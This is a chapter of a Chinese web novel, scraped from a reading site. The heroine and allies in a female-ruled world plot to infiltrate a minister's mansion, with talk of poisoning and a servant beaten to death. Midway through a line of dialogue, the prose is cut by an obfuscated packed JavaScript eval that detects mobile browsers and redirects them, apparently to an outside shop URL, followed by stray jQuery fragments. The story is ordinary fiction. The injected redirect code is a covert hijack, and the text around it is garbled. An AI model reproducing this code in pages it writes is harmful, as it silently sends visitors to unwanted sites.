123读书网 > 玄幻小说 > 穿入女尊我绑定了无敌系统 > 34. 一探究竟
    “你……”白瑛瑛打量着他不正经的样子,欲言又止。


    潘会也不是个傻子,见人这副模样瞬间着恼:“喂喂喂!你这什么眼神?!可别忘了,那份要命的卷宗是谁冒着风险给你弄出来的!”


    白瑛瑛站起身,随意地朝他摆了摆手,打发小孩似的敷衍道:“行了行了,知道你能干,记你一大功。不过后面的事情更复杂,你先别掺和,容我仔细盘算盘算。”


    潘会才刚点燃的豪情壮志顿时被泄了干净:“说来说去,你就是觉得我派不上用场,是个累赘呗!也是,在这个鬼世道,我们男人能顶什么用?还不如……不如一刀给自己个痛快,反正留着也……也没什么用处。”他越说声音越低,言语中还带着些委屈。


    白瑛瑛闻言,笑了笑,当真从怀中摸出一把镶着宝石的精致匕首,“哐当”一声扔到他面前的桌上。


    “喏,”她抬了抬下巴,轻飘飘道,“工具给你,请便。”


    潘会完全没料到她身上真带着利器,更没想过她会来这么一出,当场噎住,眼睛瞪得溜圆,看着那寒光闪闪的匕首,接也不是,不接也不是。


    白瑛瑛倚着墙满脸玩味地看着他,那眼神仿佛在说:“动手啊,我看着呢。”


    潘会气得连连咳嗽。


    白瑛瑛冷哼一声:“了结了也没用,又不是下面少了点什么,上面就能长出点什么来,我们女人,天生就是聪明,你们这些小男人,比得了吗?”


    潘会听得这一番话,颓然地坐在凳子上,目光低垂,方才那点佯装的意气风发荡然无存,只剩下被这世道规则碾压后的无力感。


    “你说这个世界上,为什么偏偏有这么一个地方?”


    白瑛瑛顿住脚步,转过身,看向他的眼神中有了一种洞察世界的了然:“因为……这世间从不存在某个群体能永远独占特权的道理。因果循环,报应不爽。既有男子为尊的天地,自然也会有女子当道的世界。你我所见,不过是万千可能中的一环。”


    “你自小被称作天才,当然也不知道平庸之辈的挣扎,但未曾经历,不代表永远不会经历。从前你因为长相才华受尽追捧,自然也总会有一天,也会沦为仰望她人的那个。你引以为傲的那点才学,在此地近乎无用,你也不可能成为这个时代的高斯,所以……收起那些无用的自怜,省省吧。”


    潘会一时怔忡,哑口无言。


    白瑛瑛也不再多说,决然转身,头也不回地离开了。


    她知道,她现在拥有的一切,都是她应得的。


    赶回学堂的时候,已是临近散学的时辰。


    慕容晚晴似是在校场门口等候多时,人甫一进门,就被她拉走。


    学堂后山,寂静无声。


    白瑛瑛仍警惕地环顾四周,确认无人跟踪后,才小心翼翼地将那份至关重要的卷宗递给慕容晚晴。


    “二姐,你是否觉得,此事远比我们想象的更为复杂?若秦香真是幕后主使,为何指向她的线索……会如此‘恰到好处’地被我们找到?”


    慕容晚晴快速翻阅着卷宗,面色沉静如水,片刻后,她曲起指节在卷宗上轻轻敲打,却始终未出一言。


    “接下来,你打算怎么做?”白瑛瑛又问。


    慕容晚晴这才缓缓抬起眼:“眼下,唯有潜入秦香府邸,一探究竟。”


    话音落定,竹林间悉悉索索一阵,枝叶拂动。


    一道女声突兀响起:“单凭你们俩,如何能够潜入秦香府?”


    白瑛瑛方才确认过没人,没想到会有其她声音,着实吓了一跳。


    “谁?”她手已搭上腰间佩剑。


    慕容晚晴却似早有预料,神色未变,只轻轻抬手,虚虚拦住了她欲拔剑的动作。


    白瑛瑛见着那女子背着竹编药篓,自苍翠竹林间缓步而出。


    慕容晚晴目光落在她身上,淡然开口:“沈姑娘对此,有何高见?”


    沈知夏站定,风平浪静道:“我知晓一种奇毒,无色无味,投入井中,可让人在梦寐之中无声无息地死去,查无可查。”


    “你想把她府中上下……全数毒死?!”白瑛瑛倒吸一口凉气,吓得脸色惨白。


    好歹毒的人。


    慕容晚晴并未立即反驳,只是静静地打量着沈知夏,半晌,才轻笑一声:“沈姑娘果然……计谋深远。只是,万一不慎,将秦大人也一并送走了,又当如何?”


    沈知夏神色不变,只吐出八个字,字字冰冷:“大宁奸佞,死不足惜。”


    白瑛瑛忽然想起她曾经在水榭花坊的所作所为,觉得这人颇为狠毒,不能深交。


    此刻,林间的风不合时宜地吹过,拂起她们衣摆,寒意更甚。


    慕容晚晴蓦地一笑:“在下知沈姑娘技艺高超,可此事牵连甚广,若将秦府上下尽数毒杀,动静太大,反倒会打草惊蛇。”


    “我倒有个‘调虎离山’之计,二位不妨附耳一听?”白瑛瑛脑中灵光一闪,狡黠地笑了笑。


    二人对视一眼,心照不宣地附耳上去。


    待白瑛瑛压低声音将计策道出,二人皆是一怔,随即陷入短暂的沉默。


    “如此……甚好。”慕容晚晴点点头,沉吟片刻,率先颔首。


    白瑛瑛得到肯定,转向沈知夏:“不过想来秦府书房定是严加看防之地,还请沈少君相助。”


    “你需要什么?”沈知夏心中已有数。


    “我需要一种能令人长时间昏睡,但不会伤及性命的药物。”白瑛瑛正色道。


    其实她也可以在系统里花成就点买,可既然有现成的,免费的,不用白不用。


    沈知夏冷哼一声:“你以为手下留情,她们就能活命?若被秦香察觉守卫失职,她们照样难逃一死。既注定要死,何不干脆些?”


    白瑛瑛不以为意地笑了笑,神色坦然:“因果循环,报应自有天定。我已留下一线,她们的生死便与我无关。左右,人都不是我杀的,我只求一个问心无愧。”


    “好一个问心无愧!白少君还真是个妙人啊!”沈知夏不知是真心赞叹还是讥讽,“白少君果然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943169|190383||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妙人。难怪能引得众人甘心随你洒扫庭院,倒是我粗鄙,未与她们同往,现在想来竟有几分可惜。”


    白瑛瑛权当这是夸赞,从容施了一礼,笑吟吟道:“既然沈少君有此雅兴,下次洒扫时定当相邀。”


    沈知夏瞧着人牙尖嘴利的模样,一瞬间起了将人毒哑的心思。


    次日。


    秦香秦尚书昨个便听闻今日二殿下要来,早早地率领一众家仆恭敬等候。见二殿下的马车停稳,她忙不迭地上前几步,躬身相迎。


    慕容晚晴扶着女使的手缓步下车,面容清冷,目光沉静,自有一股不怒自威的气度。


    秦香深知这位殿下性情冷肃,难以接近,可现下此人背后的势力深不可测,绝非她可惹得起的,她只好上前热络道:“殿下亲临寒舍,真令蓬荜生辉,臣不胜荣幸!”


    慕容晚晴只略一摆手,身旁随行的女官便厉声斥道:“放肆!既知殿下亲临,还不速速迎入府中?莫非你尚书府的架子,比殿下还大不成?”


    秦香脸色一白,慌忙侧身让开道路,连连告罪:“是臣思虑不周,怠慢了殿下!殿下恕罪,快请入府!”


    慕容晚晴也不多作礼会,径直随着引路的仆从走向正厅。


    厅内早已布置妥当。甫一落座,便有几名姿容出众的小侍鱼贯而入,奉上香茗。秦香此次找来侍奉的,个个是好颜色的男子,她心中残存一丝希冀,若是今日二殿下能看上哪个带走,她也算攀附上另一桩势力。


    然而慕容晚晴对此等美色视若无睹,只缓缓接过茶盏,轻啜一口,随即眉头微蹙。


    侍立一旁的女使立刻会意,当即发作:“尚书大人这是何意?竟拿这等粗劣茶汤敷衍殿下!莫非是觉得我们殿下配不上你府上的好茶吗?”


    秦香吓得魂飞魄散,“扑通”一声跪伏在地,额角瞬间沁出冷汗:“殿下明鉴!臣冤枉啊!定是底下人办事不力,以次充好,臣御下不严,甘愿受罚!”她一边告罪,一边急急转向自家管事,厉声吩咐:“还不快去将府里最好的取来!将这胆大包天的贱仆拖下去杖毙!”


    那奉茶的小郎闻言,面无人色,拼命以头叩地,声声泣血:“大人明察!小人未曾换茶,小人冤枉啊!”见秦香无动于衷,他又膝行数步,一把抓住慕容晚晴的衣摆,哀声乞求:“殿下!殿下开恩!求殿下救救小人!”


    慕容晚晴冷眼看他,一脚将人踹翻在地,嫌弃地拍了拍衣角。


    那小郎被人拖出厅外,叫喊声连连。


    而慕容晚晴只是闲适地品茗,偶尔吹一吹浮着的茶沫。


    秦香大气都不敢出,默默地等着上头的人先发言。


    不知过了多久,外头的吵闹声消散,管家进来回禀,说是人已断了气。


    秦香心中本就惶恐,闻言更是手一抖,将茶水洒落在地。


    慕容晚晴这才看她,阴恻恻地笑道:“秦大人这是怎么了?本殿不过喝了你一盏茶,你便如此心疼?”


    秦香又哆哆嗦嗦地跪下:“殿下明鉴!臣绝无此心!”